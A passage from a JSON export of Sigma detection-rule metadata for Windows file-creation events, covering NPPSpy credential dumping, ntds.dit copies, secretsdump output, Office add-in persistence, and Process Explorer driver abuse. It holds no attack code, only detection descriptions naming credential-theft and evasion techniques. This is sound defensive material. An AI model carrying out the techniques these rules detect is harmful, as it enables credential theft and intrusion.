        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/11/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_hktl_nppspy.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy",
          "https://twitter.com/0gtweet/status/1465282548494487554",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml"
        ],
        "tags": [
          "attack.credential_access"
        ]
      },
      "uuid": "cad1fe90-2406-44dc-bd03-59d0b58fe722",
      "value": "NPPSpy Hacktool Usage"
    },
    {
      "description": "Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/06/08",
        "falsepositive": [
          "Legitimate microsoft diagcab"
        ],
        "filename": "file_event_win_susp_diagcab.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://threadreaderapp.com/thread/1533879688141086720.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml"
        ],
        "tags": [
          "attack.resource_development"
        ]
      },
      "uuid": "3d0ed417-3d94-4963-a562-4a92c940656a",
      "value": "Creation of a Diagcab"
    },
    {
      "description": "Detects the creation of a file with the \".dmp\"/\".hdmp\" extension. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/07",
        "falsepositive": [
          "Likely during crashes of software"
        ],
        "filename": "file_event_win_dump_file_creation.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dump_file_creation.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "3a525307-d100-48ae-b3b9-0964699d7f97",
      "value": "DMP/HDMP File Creation"
    },
    {
      "description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/24",
        "falsepositive": [
          "Legitimate use of the profile by developers or administrators"
        ],
        "filename": "file_event_win_susp_vscode_powershell_profile.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_vscode_powershell_profile.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1546.013"
        ]
      },
      "related": [
        {
          "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3a9fa2ec-30bc-4ebd-b49e-7c9cff225502",
      "value": "VsCode Powershell Profile Modification"
    },
    {
      "description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder.\nThis driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.\n",
      "meta": {
        "author": "xknow (@xknow_infosec), xorxes (@xor_xes)",
        "creation_date": "2019/04/08",
        "falsepositive": [
          "Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it."
        ],
        "filename": "file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml"
        ],
        "tags": [
          "attack.t1562.001",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3da70954-0f2c-4103-adff-b7440368f50e",
      "value": "Suspicious PROCEXP152.sys File Created In TMP"
    },
    {
      "description": "Detects creation of files with the \".one\"/\".onepkg\" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/22",
        "falsepositive": [
          "Legitimate usage of \".one\" or \".onepkg\" files from those locations"
        ],
        "filename": "file_event_win_office_onenote_files_in_susp_locations.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/",
          "https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_onenote_files_in_susp_locations.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "7fd164ba-126a-4d9c-9392-0d4f7c243df0",
      "value": "OneNote Attachment File Dropped In Suspicious Location"
    },
    {
      "description": "Detects suspicious files created via the OneNote application. This could indicate a potential malicious \".one\"/\".onepkg\" file was executed as seen being used in malware activity in the wild",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/09",
        "falsepositive": [
          "False positives should be very low with the extensions list cited. Especially if you don't heavily utilize OneNote.",
          "Occasional FPs might occur if OneNote is used internally to share different embedded documents"
        ],
        "filename": "file_event_win_office_onenote_susp_dropped_files.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/17f2d378-6d11-4d6f-8340-954b04f35e83/",
          "https://www.trustedsec.com/blog/new-attacks-old-tricks-how-onenote-malware-is-evolving/",
          "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/",
          "https://labs.withsecure.com/publications/detecting-onenote-abuse",
          "https://twitter.com/MaD_c4t/status/1623414582382567424",
          "https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_onenote_susp_dropped_files.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "fcc6d700-68d9-4241-9a1a-06874d621b06",
      "value": "Suspicious File Created Via OneNote Application"
    },
    {
      "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database) by an uncommon parent process or directory",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_ntds_dit_uncommon_parent_process.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/tag/ntds-dit/",
          "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration",
          "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1",
          "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_parent_process.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d",
      "value": "NTDS.DIT Creation By Uncommon Parent Process"
    },
    {
      "description": "Detects the creation of an \"Active Directory Schema Cache File\" (.sch) file by an uncommon tool.",
      "meta": {
        "author": "xknow @xknow_infosec, Tim Shelton",
        "creation_date": "2019/03/24",
        "falsepositive": [
          "Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc."
        ],
        "filename": "file_event_win_adsi_cache_creation_by_uncommon_tool.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961",
          "https://github.com/fox-it/LDAPFragger",
          "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_adsi_cache_creation_by_uncommon_tool.yml"
        ],
        "tags": [
          "attack.t1001.003",
          "attack.command_and_control"
        ]
      },
      "related": [
        {
          "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "75bf09fa-1dd7-4d18-9af9-dd9e492562eb",
      "value": "ADSI-Cache File Creation By Uncommon Tool"
    },
    {
      "description": "Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/21",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_sysinternals_psexec_service_key.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/davisrichardg/status/1616518800584704028",
          "https://aboutdfir.com/the-key-to-identify-psexec/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_psexec_service_key.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.privilege_escalation",
          "attack.execution",
          "attack.persistence",
          "attack.t1136.002",
          "attack.t1543.003",
          "attack.t1570",
          "attack.s0029"
        ]
      },
      "related": [
        {
          "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "304afd73-55a5-4bb9-8c21-0b1fc84ea9e4",
      "value": "PSEXEC Remote Execution File Artefact"
    },
    {
      "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_new_files_in_uncommon_appdata_folder.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution"
        ]
      },
      "uuid": "d7b50671-d1ad-4871-aa60-5aa5b331fe04",
      "value": "Suspicious File Creation In Uncommon AppData Folder"
    },
    {
      "description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2022/06/19",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_susp_double_extension.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/",
          "https://twitter.com/luc4m/status/1073181154126254080",
          "https://twitter.com/malwrhunterteam/status/1235135745611960321",
          "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations",
          "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b4926b47-a9d7-434c-b3a0-adc3fa0bd13e",
      "value": "Suspicious Double Extension Files"
    },
    {
      "description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder",
      "meta": {
        "author": "elhoim",
        "creation_date": "2022/04/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_default_gpo_dir_write.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/intelligence-insights-november-2021/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml"
        ],
        "tags": [
          "attack.t1036.005",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5f87308a-0a5b-4623-ae15-d8fa1809bc60",
      "value": "Suspicious Files in Default GPO Folder"
    },
    {
      "description": "Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself.\nHack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/05/05",
        "falsepositive": [
          "Some false positives may occur with legitimate renamed process explorer binaries"
        ],
        "filename": "file_event_win_sysinternals_procexp_driver_susp_creation.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Yaxser/Backstab",
          "https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks",
          "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/",
          "https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_procexp_driver_susp_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1068"
        ]
      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "de46c52b-0bf8-4936-a327-aace94f94ac6",
      "value": "Process Explorer Driver Creation By Non-Sysinternals Binary"
    },
    {
      "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_creation_unquoted_service_path.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8c3c76ca-8f8b-4b1d-aaf3-81aebcd367c9",
      "value": "Creation Exe for Service with Unquoted Path"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/13",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "file_event_win_gotoopener_artefact.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5d756aee-ad3e-4306-ad95-cb1abec48de2",
      "value": "GoToAssist Temporary Installation Artefact"
    },
    {
      "description": "Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.",
      "meta": {
        "author": "SecurityAura",
        "creation_date": "2022/11/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_hktl_remote_cred_dump.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Porchetta-Industries/CrackMapExec",
          "https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_remote_cred_dump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6e2a900a-ced9-4e4a-a9c2-13e706f9518a",
      "value": "Potential Remote Credential Dumping Activity"
    },
    {
      "description": "Detects Windows shells and scripting applications that write files to suspicious folders",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/11/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_shell_write_susp_directory.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1277f594-a7d1-4f28-a2d3-73af5cbeab43",
      "value": "Windows Shell/Scripting Application File Write to Suspicious Folder"
    },
    {
      "description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe",
      "meta": {
        "author": "Tim Shelton",
        "creation_date": "2022/01/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_cscript_wscript_dropper.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cscript_wscript_dropper.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.005",
          "attack.t1059.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "002bdb95-0cf1-46a6-9e08-d38c128a6127",
      "value": "WScript or CScript Dropper - File"
    },
    {
      "description": "Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel).",
      "meta": {
        "author": "NVISO",
        "creation_date": "2020/05/11",
        "falsepositive": [
          "Legitimate add-ins"
        ],
        "filename": "file_event_win_office_addin_persistence.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md",
          "https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_addin_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1137.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8e1cb247-6cf6-42fa-b440-3f27d57e9936",
      "value": "Potential Persistence Via Microsoft Office Add-In"
    },
    {
      "description": "Detects the creation of files in a specific location by ScreenConnect RMM.\nScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to \":\\Users\\<username>\\Documents\\ConnectWiseControl\\Temp\\\" before execution.\n",
      "meta": {
        "author": "Ali Alwashali",
        "creation_date": "2023/10/10",
        "falsepositive": [
          "Legitimate use of ScreenConnect"
        ],
        "filename": "file_event_win_remote_access_tools_screenconnect_remote_file.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/pull/4467",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_remote_file.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0afecb6e-6223-4a82-99fb-bf5b981e92a5",
      "value": "Remote Access Tool - ScreenConnect Temporary File"
    },
    {
      "description": "Detects programs on a Windows system that should not write scripts to disk",
      "meta": {
        "author": "frack113, Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_legitimate_app_dropping_script.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_script.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7d604714-e071-49ff-8726-edeb95a70679",
      "value": "Legitimate Application Dropped Script"
    },
    {
      "description": "Detects the creation of a file with an uncommon extension in an Office application startup folder",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/05",
        "falsepositive": [
          "Other legitimate extensions used by either excel or word"
        ],
        "filename": "file_event_win_office_uncommon_file_startup.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://answers.microsoft.com/en-us/msoffice/forum/all/document-in-word-startup-folder-doesnt-open-when/44ab0932-2917-4150-8cdc-2f2cf39e86f3",
          "http://addbalance.com/word/startup.htm",
          "https://en.wikipedia.org/wiki/List_of_Microsoft_Office_filename_extensions",
          "https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_uncommon_file_startup.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1587.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a10a2c40-2c4d-49f8-b557-1a946bc55d9d",
      "value": "Uncommon File Created In Office Startup Folder"
    },
    {
      "description": "Detects the creation of binaries in the WinSxS folder by non-system processes",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_winsxs_binary_creation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winsxs_binary_creation.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "34746e8c-5fb8-415a-b135-0abc167e912a",
      "value": "WinSxS Executable File Creation By Non-System Process"
    },
    {
      "description": "Detects the creation of a file with the \".dmp\"/\".hdmp\" extension by a shell or scripting application such as \"cmd\", \"powershell\", etc. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/07",
        "falsepositive": [
          "Some administrative PowerShell or VB scripts might have the ability to collect dumps and move them to other folders which might trigger a false positive."
        ],
        "filename": "file_event_win_dump_file_susp_creation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dump_file_susp_creation.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "aba15bdd-657f-422a-bab3-ac2d2a0d6f1c",
      "value": "Potentially Suspicious DMP/HDMP File Creation"
    },
    {
      "description": "Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_executable_creation.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/",
          "https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564"
        ]
      },
      "related": [
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "74babdd6-a758-4549-9632-26535279e654",
      "value": "Suspicious Executable File Creation"
    },
    {
      "description": "Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters.\nThis is used as an obfuscation and masquerading techniques. Only \"perfect\" homoglyphs are included; these are characters that\nare indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.\n",
      "meta": {
        "author": "Micah Babinski, @micahbabinski",
        "creation_date": "2023/05/08",
        "falsepositive": [
          "File names with legitimate Cyrillic text. Will likely require tuning (or not be usable) in countries where these alphabets are in use."
        ],
        "filename": "file_event_win_susp_homoglyph_filename.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/threat-detection-report/threats/socgholish/#threat-socgholish",
          "http://www.irongeek.com/homoglyph-attack-generator.php",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_homoglyph_filename.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
